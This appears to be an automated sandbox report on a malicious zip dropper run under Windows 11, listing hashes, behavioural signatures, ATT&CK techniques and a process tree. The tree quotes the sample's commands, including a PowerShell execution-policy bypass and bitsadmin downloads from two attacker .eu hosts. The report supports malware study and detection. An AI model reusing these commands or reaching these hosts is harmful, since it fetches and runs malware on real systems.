32f821e84b91cdd2e998be739eb5b9d2e435827b4be84c54be34ce44a6e2ec31

Analysis

max time kernel
326s
max time network
332s
platform
windows11-21h2_x64
resource
win11-20241007-it
resource tags

arch:x64arch:x86image:win11-20241007-itlocale:it-itos:windows11-21h2-x64systemwindows
submitted
29-11-2024 11:05

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General

Target

ckJTQEOKC.zip
Size

20KB
MD5

a8fd65d74a9739b23c7e364df251b4e5
SHA1

fe8d2606f65a2cf08213786576ecfb20e4e6eba3
SHA256

32f821e84b91cdd2e998be739eb5b9d2e435827b4be84c54be34ce44a6e2ec31
SHA512

27632f81f83491ca628b0210a9eb28bbbda30a718596eb8e216417f8467e971d9bdc6ede3af7163ea5524fc780722b5e1d3eb6fa4eb69c9284789b7d13727ac4
SSDEEP

384:CuInQrtM9vrxKnB4AvyszfOiSr+p51d74AwsN3V/oQkUYP4ZqkqTZNLFzNF:ung8jEOAtOtw5v8ATJVFny4zqTZtFzP

Score

10^/10

dropper execution

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bitsadmin.exebitsadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1692	2768	bitsadmin.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	416	2768	bitsadmin.exe	87

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
1692	bitsadmin.exe
416	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2628	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

mmc.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\taskschd.msc	mmc.exe

Modifies registry class 9 IoCs

Processes:

BackgroundTransferHost.exeBackgroundTransferHost.exeOpenWith.exeOpenWith.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid	Process
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

7zFM.exemmc.exe

pid	Process
4064	7zFM.exe
1952	mmc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zFM.exepowershell.exemmc.exe

description	pid	Process
Token: SeRestorePrivilege	4064	7zFM.exe
Token: 35	4064	7zFM.exe
Token: SeSecurityPrivilege	4064	7zFM.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe
Token: 33	1952	mmc.exe
Token: SeIncBasePriorityPrivilege	1952	mmc.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

7zFM.exe

pid	Process
4064	7zFM.exe
4064	7zFM.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

OpenWith.exeOpenWith.exemmc.exe

pid	Process
2664	OpenWith.exe
2904	OpenWith.exe
1952	mmc.exe
1952	mmc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 2628 wrote to memory of 2064	2628	powershell.exe	88
PID 2628 wrote to memory of 2064	2628	powershell.exe	88
PID 2628 wrote to memory of 4120	2628	powershell.exe	90
PID 2628 wrote to memory of 4120	2628	powershell.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC.zip"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4064

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:4104

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1292

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2664

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.vbs"
1⤵
PID:876

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.vbs"
1⤵
PID:3480

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.ps1'"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\system32\getmac.exe
  "C:\Windows\system32\getmac.exe" /fo table
  2⤵
  PID:2064
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /reset
  2⤵
  PID:4120

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer AlLWrT /priority FOREGROUND "https://ghryj.eu/post//213b167960f52c6124c47a5e792c6af8.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\0_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:1692

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer ArwCOW /priority FOREGROUND "https://uhfb.eu/post//213b167960f52c6124c47a5e792c6af8.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\1_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:416

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:2000

C:\Windows\system32\mmc.exe
"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s
1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1952

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:3260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\ce6e736f-bdeb-46da-947e-944ec8a31ac4.down_data

Filesize
121KB

MD5
c2c241c1111d82bf82a4b92f3313d801

SHA1
f822956f60c463000e5aaaeccf8b99f551179250

SHA256
2081dc0f876ba518493f98bc18988ebe6cc6c23d9d963b5c4bb5c9ecef1f9f29

SHA512
04f745fa497c8115bb76b42bac6e03b7a0edd394f1c4a62f329015c545bba1bc9b517b7941806bcd23e84bcd289316649c1cbd9c6804cc83dce62dc26655cd7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4e5dohp2.b3g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\0_msedge.log

Filesize
32B

MD5
fb2d4b4538f231805a677bf1fdae7618

SHA1
9af3e31cad8f69e7d61f81005f8d7bb615ceea05

SHA256
07bd6fa0bfb02d25cb31d8d9bb31653912671394c0fb1e8b10296682448627f2

SHA512
d2fecf45f070e5cd752afdc6b229ffe6027ee12c726e98cc867ceb19990f964cd084de24312530c9d65a9b7ad7ad51d3d9a82c444d56a5a8cb78d65a636b6f05

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\1_msedge.log

Filesize
32B

MD5
c5f79e50e9f1426aed3a210a3a5e8c4d

SHA1
7c8dfd39f669d241205219f066a022e028749d8e

SHA256
89e9165ac6d056ca646a831e17d0c0f8877a7ebc9adba1665be6a6b60d9636aa

SHA512
20ac36e6a588077a038c894ebc0bd53966210b94706674e8ebc5e852463123c7f6a1255769949c29e70e4c75d179af3dfc77501cd5c7c3d6fbf0d92453074d41

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.ps1

Filesize
2KB

MD5
9d6d8a084805bbf5d22507780d14e8f4

SHA1
27ebc6c5948855d6b5a7f1c5422a3be6a4a1e77a

SHA256
9092a282a5c56c0a19713fd3067b528efae5b27e9faa737c87a9bbf6a566cc5e

SHA512
a8142d16469fb415ad3f9212d52f0aadde797876e7735f3faebd79b57acd04688726e83047c808851ea9394b14dca0dad8c33a1e7695c4ce2a768d46a2f3597b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.vbs

Filesize
874B

MD5
c63ba33fb5afa2b84f98355c5acaea1c

SHA1
3ae2b38ea5a41352c11f70f676d78ad8b129101a

SHA256
de0f8fb2de75f6ed3645ed8b36bf947ccbbe834adfcc4eff7740ec5f857a18b8

SHA512
e0d63e8d562086c8a04273dfd7c969a70d796ef412f282b61c6320c404e58bfa213a84b56e6f4af56daae83bdfc680c00d537a6a7ead16132cb7dfbfcbeb7a13

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\darm.chh

Filesize
1KB

MD5
6b831ce8380c693ee6070ad424c9f92b

SHA1
b87e2ef196383c246b996c4764e328d523b5c5b7

SHA256
a65d23c0df6c750741bb63dee3564ea44462a07050f54a3b585d2c0c4b943e35

SHA512
d333149446bd5e83310037b293b1cd73d3a2a15fa9b10ccbcda5fcac70b67e53e86aea4b7c7e0f567106ba3ca45c9856ccc69db7fd75b2d272397e92abf503e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\lite.chh

Filesize
95KB

MD5
960716f6d0c819d551f68b970faff1f9

SHA1
f23ca0bafec43bd8ba899190d290ab9db97b7b07

SHA256
a83be5df3bb0b2b83a3727b50d0ebd74b8d0ef425a29f1352095260e12569192

SHA512
50fc39e4a1d3cb91ebc76dfe1eaf5f32fb4871957d57d67c0bbde29dd0f97412f945db442a4f95b3b7f69f1148fe68df7f76621493ad64f742052b333fbe5f25

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\msedge.log

Filesize
16B

MD5
49fa9b3510c1cbf6d6df2f4a2f9f8e65

SHA1
3c1c22697e4370100ef87a52084d7c14fbf657d3

SHA256
fcbccd7b328d9270a0f3820ecf622f6e14c09df6061f2275cb9524673b681acf

SHA512
8870d64fb90035f6a8735c1bc8452ef516fd26de8472bdd4fc2e8d23a1a4b65566e954b1e3711a460ece543325389a487fdfc5ac477af8617b658e930ffd721f

Download Submit
memory/1952-46-0x000000001D410000-0x000000001D432000-memory.dmp

Filesize
136KB

Download
memory/1952-45-0x000000001D530000-0x000000001D6B0000-memory.dmp

Filesize
1.5MB

Download
memory/1952-44-0x0000000003470000-0x000000000347C000-memory.dmp

Filesize
48KB

Download
memory/2628-27-0x00000233D5680000-0x00000233D5690000-memory.dmp

Filesize
64KB

Download
memory/2628-35-0x00000233D62C0000-0x00000233D67E8000-memory.dmp

Filesize
5.2MB

Download
memory/2628-29-0x00000233D5780000-0x00000233D578A000-memory.dmp

Filesize
40KB

Download
memory/2628-28-0x00000233D5AF0000-0x00000233D5BF2000-memory.dmp

Filesize
1.0MB

Download
memory/2628-17-0x00000233D56E0000-0x00000233D5762000-memory.dmp

Filesize
520KB

Download
memory/2628-18-0x00000233D5690000-0x00000233D56B2000-memory.dmp

Filesize
136KB

Download